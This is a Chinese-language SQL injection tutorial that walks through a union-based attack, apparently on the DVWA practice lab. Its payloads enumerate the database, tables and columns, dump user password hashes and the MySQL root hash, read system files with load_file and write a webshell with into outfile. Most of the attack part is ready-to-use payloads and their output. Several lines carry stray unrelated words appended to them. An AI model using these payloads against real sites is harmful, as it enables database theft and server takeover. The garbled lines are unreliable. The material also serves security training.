where user_id = 1 or 1=1mysql
where user_id = '1' or '1'='1'web
where user_id =" 1 "or "1"="1"sql
# 單行註釋 注意與url中的#區分,常編碼爲%23shell
--空格 單行註釋 注意爲短線短線空格數據庫
/*()*/ 多行註釋 至少存在倆處的注入 /**/經常使用來做爲空格工具
是否存在注入而且判斷注入類型編碼
判斷字段數 order by url
肯定回顯點 union select 1,2spa
查詢數據庫信息 @@version @@datadir操作系統
查詢用戶名,數據庫名 user() database()
文件讀取 union select 1,load_file('C:\\wondows\\win.ini')#
寫入 webshell select..into outfile...
補充一點,使用sql注入遇到轉義字符串的單引號或者雙引號,可以使用HEX編碼繞過
SQL Injection,即SQL注入,SQLi,是指攻擊者經過注入惡意的SQL命令,破壞SQL查詢語句的結構,從而達到執行惡意SQL語句的目的。SQL注入漏洞的危害巨大,經常會致使整個數據庫被「脫褲」,現在SQL注入還是如今最多見的Web漏洞之一。
按SQLMap中的分類來看,SQL注入類型有如下5種:
UNION query SQL injection(可聯合查詢注入)
Stacked queries SQL injection(可多語句查詢注入)堆疊查詢
Boolean-based blind SQL injection(布爾型注入)
Error-based SQL injection(報錯型注入)
Time-based blind SQL injection(基於時間延遲注入)
1、尋找注入點,能夠經過 web 掃描工具實現
2、經過注入點,嘗試得到關於鏈接數據庫用戶名、數據庫名稱、鏈接數據庫用戶權限、操做系統信息、數據庫版本等相關信息。
3、猜解關鍵數據庫表及其重要字段與內容(常見如存放管理員帳戶的表名、字段名等信息)
3.1 還能夠獲取數據庫的root帳號 密碼—思路
4、能夠經過得到的用戶信息,尋找後臺登陸。
5、利用後臺或瞭解的進一步信息。
1.判斷是否存在注入,注入是字符型仍是數字型
2.猜解 SQL 查詢語句中的字段數
3.肯定顯示的字段順序
4.獲取當前數據庫
5.獲取數據庫中的表
6.獲取表中的字段名
7.查詢到帳戶的數據
1' union select 1,database()#
payload利用另外一種方式:
1' union select user(),database()#
Version()#
獲得數據庫名:dvwa
PS:union查詢結合了兩個select查詢結果,根據上面的order by語句咱們知道查詢包含兩列,爲了可以現實兩列查詢結果,咱們須要用union查詢結合咱們構造的另一個select.注意在使用union查詢的時候須要和主查詢的列數相同。
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema =database()#
獲得表名:guestbook,users
group_concat 分組
1' union select 1,group_concat(column_name) from information_schema.columns where table_name =0x7573657273#
1' union select 1,group_concat(column_name) from information_schema.columns where table_name ='users'#
(用編碼就不用單引號,用單引號就不用編碼)
user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password
列舉出幾種payload:
1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
1' union select null,concat_ws(char(32,58,32),user,password) from users #
1' union select null,group_concat(concat_ws(char(32,58,32),user,password)) from users #
獲得用戶數據:
admin 5f4dcc3b5aa765d61d8327deb882cf99
1' union select 1,group_concat(user,password) from mysql.user#
獲得root用戶信息:
root*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B